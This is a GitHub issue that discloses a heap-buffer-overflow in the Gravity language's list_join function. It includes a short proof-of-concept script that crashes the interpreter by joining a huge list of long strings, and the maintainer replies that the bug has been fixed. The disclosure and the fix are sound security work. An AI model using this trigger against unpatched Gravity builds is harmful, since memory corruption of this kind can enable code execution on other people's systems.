Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Gravity Heap-Buffer-Overflow (list_join) #172

Closed
r0t0tiller opened this issue Jul 7, 2017 · 1 comment
Closed

Gravity Heap-Buffer-Overflow (list_join) #172

r0t0tiller opened this issue Jul 7, 2017 · 1 comment

Comments

@r0t0tiller
Copy link

Gravity is vulnerable to a Heap-Buffer-Overflow that could result in a potentially exploitable condition.

Compiled on: Ubuntu 16.04 x64

POC:


func main() {

	var i = 1;
	var test = [1];

	while(i < 10000000) {

		i += 1;

		test.push("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	}

	test.join(); // Crashes Here
}

By creating a large loop whiling pushing data to a buffer, we can break out of the bounds checking of that buffer. When list.join is called on the data it will read past a buffer resulting in a Heap-Buffer-Overflow.

GDB Output:

screenshot from 2017-07-07 12-29-49

Arbitrary write to Heap:

screenshot from 2017-07-07 12-30-35

@marcobambini
Copy link
Owner

Thanks a lot @tylerp96.
Issue fixed by 8cf6379

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants